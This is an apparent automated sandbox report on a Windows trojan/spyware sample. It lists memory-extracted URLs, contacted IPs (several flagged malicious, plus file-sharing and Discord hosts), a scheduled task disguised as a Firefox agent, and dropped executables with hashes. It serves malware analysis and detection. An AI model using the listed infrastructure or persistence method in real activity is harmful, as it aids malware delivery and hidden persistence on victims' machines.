https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000006.00000002.307383226.0000019EF1E65000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307316944.0000019EF1E3A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://%s.dnet.xboxlive.com	svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000003.306630585.0000019EF1E5E000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
74.201.28.62	unknown	United States	35913	DEDIPATH-LLCUS	true
8.209.70.0	host-data-coin-11.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
104.21.38.221	goo.su	United States	13335	CLOUDFLARENETUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
81.163.30.181	unknown	Russian Federation	58303	IR-RASANAPISHTAZIR	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553399
Start date:	14.01.2022
Start time:	20:21:27
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ZA3cYU28Yl.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@47/28@87/12
EGA Information:	Successful, ratio: 90%
HDC Information:	Successful, ratio: 25.7% (good quality ratio 18%) Quality average: 52.7% Quality standard deviation: 40.1%
HCA Information:	Successful, ratio: 58% Number of executed functions: 170 Number of non-executed functions: 254
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, consent.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.54.110.249, 104.208.16.94 Excluded domains from analysis (whitelisted): client.wns.windows.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, patmushta.info, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, iplogger.org, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, cdn.onenote.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com Execution Graph export aborted for target B217.exe, PID 6824 because there are no executed function Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:22:59	Task Scheduler	Run new task: Firefox Default Browser Agent F2854DB1E573CD13 path: C:\Users\user\AppData\Roaming\rcvfbte
20:23:14	API Interceptor	1x Sleep call for process: 9779.exe modified
20:23:17	API Interceptor	7x Sleep call for process: svchost.exe modified
20:23:24	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
20:23:27	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9460.exe_a795f71fcebe6b2e8adb61dbd3d258672ff4a7_b23f96db_139a0798\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.813617660062026
Encrypted:	false
SSDEEP:	96:j4jgF/9bh+pmLiubWOQoJ7R3V6tpXIQcQec6tycEfcw3G+HbHg/8BRTf3o8Fa9iT:AgV9ZiuV8HQ0l7jIq/u7sGS274It7S
MD5:	A60CCEFB33BAB838A0842CE35C11B296
SHA1:	F9D2E8B7F00B0CCCC3628A83DD8BAB2CA02358B8
SHA-256:	985F759F3AC2C2682B9DA5D2DC3D5AEE1A5EA8595612DE30B49F43CD6D7AEE17
SHA-512:	12CFA5CA972022E82E47B97CFBBBD2D22BB9474C921FF2B0D4BCA5EE0D371D5E62F50A72A89F3F6F0192B47A9A42347AC44B3D6FAB4B64C3F7BEA616EDAD218A
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.9.4.1.9.5.0.7.4.3.4.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.9.4.2.0.5.8.2.4.2.8.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.a.e.5.6.e.7.-.8.e.e.b.-.4.e.f.7.-.8.4.b.5.-.f.c.b.4.e.6.8.2.d.a.f.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.8.4.3.2.1.2.6.-.b.1.1.9.-.4.6.9.1.-.9.1.7.f.-.3.8.c.0.4.9.4.3.e.3.9.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.4.6.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.d.0.-.0.0.0.1.-.0.0.1.c.-.4.9.4.9.-.1.2.9.7.c.7.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.e.0.7.2.6.a.4.5.5.3.5.8.c.8.2.d.c.a.e.5.6.7.a.f.4.f.3.5.6.6.a.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.9.4.6.0...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER61A4.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jan 15 04:23:16 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	42152
Entropy (8bit):	2.001519542059326
Encrypted:	false
SSDEEP:	192:AqyPvcFZtwUnOeh0kA4pNOuh5pJN+pnv162COtEjU:DN/2eOcBfnQvHujU
MD5:	B7A83B68D7813C5F6EE4A8C08D3CABE0
SHA1:	5FD3BA4981C8B276FB5CA3003693E54BB27A42C5
SHA-256:	AACA056F1CFB12EFB8F3CAEC53ECF0F509FA017B166726784FD3FECE706811FF
SHA-512:	D6E974EE11C64540E0B3DC8314873E69A0E8FE7B34509150E148121E65B5CD02A5A0E1017A0D06AD7B2A36B7D34DC4646CF0D62673CE24EB7A98E16B3E0859E4
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .......4L.a....................................4...v(..........T.......8...........T...........................x...........d....................................................................U...........B..............GenuineIntelW...........T...........(L.a............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A11.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8392
Entropy (8bit):	3.700484672359636
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiyl6h6YFjSUYZ64gmfIRSvCpDlb89bO0sfs9Oam:RrlsNiY6h6YhSUY7gmfIRSpOnfsq
MD5:	0B7724FCFB03841A321D2C0F6F53A7A5
SHA1:	ABF661A74D8E477B637D1C03A72B31017669DCA9
SHA-256:	3EE72172DB782E753D2497C4F209B933F976A916BAAFB3DB80813E9F04D91C8F
SHA-512:	9138CDFA618C891CA853EF8FA2577C4D0E4AED35F258CD938D5FA18663CEEF739A2C6C275DF5AE91FF9ECF87767CCD5B3DFBEB8D1954AE556992A2EF0773C2E3
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E58.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.475137069137135
Encrypted:	false
SSDEEP:	48:cvIwSD8zsYNJgtWI9CsWSC8B/8fm8M4JB8qFz+q8vZ8WGP+Md:uITfGJFSNGJtKjGP+Md
MD5:	A33297D249A4C58DD86EC3E200BFF672
SHA1:	E75531810FA3D1DD508D5C3B25E56E0C4C79B0D8
SHA-256:	CCAB04CB11A5EAD4FC23C03D8D54C6507DC04465D061871E4EEB773D877A7952
SHA-512:	82C9907345C2D0C3DCA0EE5A0651CB9141838468012386F2D17E61D5D7E64D6F4F98B42181B44F4BCACC0E02693C73A58084404C1E558581423EF2F94407D26C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1342893" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8697.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51890
Entropy (8bit):	3.0460149625790156
Encrypted:	false
SSDEEP:	1536:C/H4tWOnf0/Tb1/b+0l4Rydn5pbpF6Ftr6e2O9bB7d7cF:C/H4tWOnf0/Tb1/b+0l4Rydn51pF6FtK
MD5:	13395807C13FB08FB931641359AB795A
SHA1:	8AE0B8AE275A37A1C79B897A0DCF9A93AD4D502F
SHA-256:	0FC39CE42D88AABF23DDD4BC5FEF804DF4630C19540F1EF2D4CE5FF4F1300131
SHA-512:	2E0F41ADF15593D761D8754C5CE4C0B53BEEEAF7620FF39F37EF7B6A57FBF9DC8A08371405AD673FB7E9DE07849CA7807CDCA965BABA51986CE5D5104442CC7F
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8B7A.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6960283297412
Encrypted:	false
SSDEEP:	96:9GiZYWyxWpTYgYFWXGLH0YEZV5t2iFOxDAwlcZdgaoI7Ot2IfX3:9jZDnHJwckaoI7OtxfX3
MD5:	FDBF9CAA9D523FEEA1B571086287CD5E
SHA1:	4B8D9B60F59810A690638F7C31339B1C7F9581C4
SHA-256:	0573A32B634212500AD0FBD5423788CF7A3075F94B76045BF7861889639DB414
SHA-512:	9F32E558A86F8AC7C06E69A9A1701C1E66BE3B4BFA7AC5DDDF33A3DD9B993F8AF96028639FD70CF3146D27896867C9B9C4070D0AE68A693A1FF3DFA13C4A2D3D
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\B217.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\B217.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\293.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2EE4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336391
Entropy (8bit):	7.993025428513385
Encrypted:	true
SSDEEP:	196608:76+hvICteEroXxqENE+sKsXXgvkz+AlnhMCRKsAN2aL:DInEroXjsKkXgsCMhkrNF
MD5:	CBE604877A46CEEBA112802BC17FFEF8
SHA1:	E85AB4CCBE491348C39F751162FFF71A90643ECA
SHA-256:	32703A3D88B3E9B8FE1A64FD1CBCC0925FC2C74BCBDEFBBD6944CBFAD0029FEC
SHA-512:	86F3946B813FB457D95B6635FA308DA1BF5F2C0FBD5BDCA75F7776D1A01A2D3C67A8A9E268DCC145FF575D70FBE84BE9BEB112A0D2269B955795C74468C00598
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d...Q..a.........."......6...T................@......................................p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3657.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	4.125149292696976
Encrypted:	false
SSDEEP:	192:s7yxMfjf6NrLqKZ6mXS9LzL1pvULIRPqY2F3991ZuBhyY8PGCz9QwAOSZCGQyBbf:KyufjSLq86mXS9LzLdqY2LHZ4cZA
MD5:	1B1E4286625BB189A526E910F2031C7B
SHA1:	650C0550F12C65D9841D10AB589FF39261018957
SHA-256:	C9D7CB68DEC80469C3C03B0E90C7AF1972462CA7779424DB3BFD9D44AEBAA624
SHA-512:	68F2366606B658FDDB2B5E9BAE2E6931FB455A230F8A4813EACB38A3D7853B9640F46FE9EE6FFD9862A509558B66C30A3494CB7231C3EF7CD784950771273155
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....vL..........."...0..............5... ...@....@.. ....................... ............@..................................4..O....@..\............................4............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc..............................@..B.................4......H........#..`............3...............................................0..:........(.......(....(.....s......o.....(.......(....(.......+..".(.......0............ ...(....r...p......%.."...(.....(...........%. N..."....o....&. ....(........&.....&...(....r...pr5..pr9..p(..........%..'...(.....(....s..........%.r;..p.o....t.....+..*........B..Q.......0..7.........(.............,.....i(.....(.....o....&s .....(....o!...o"....s#......o$.....+...(%.........o&...o'.......((..

C:\Users\user\AppData\Local\Temp\41A3.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\48E7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
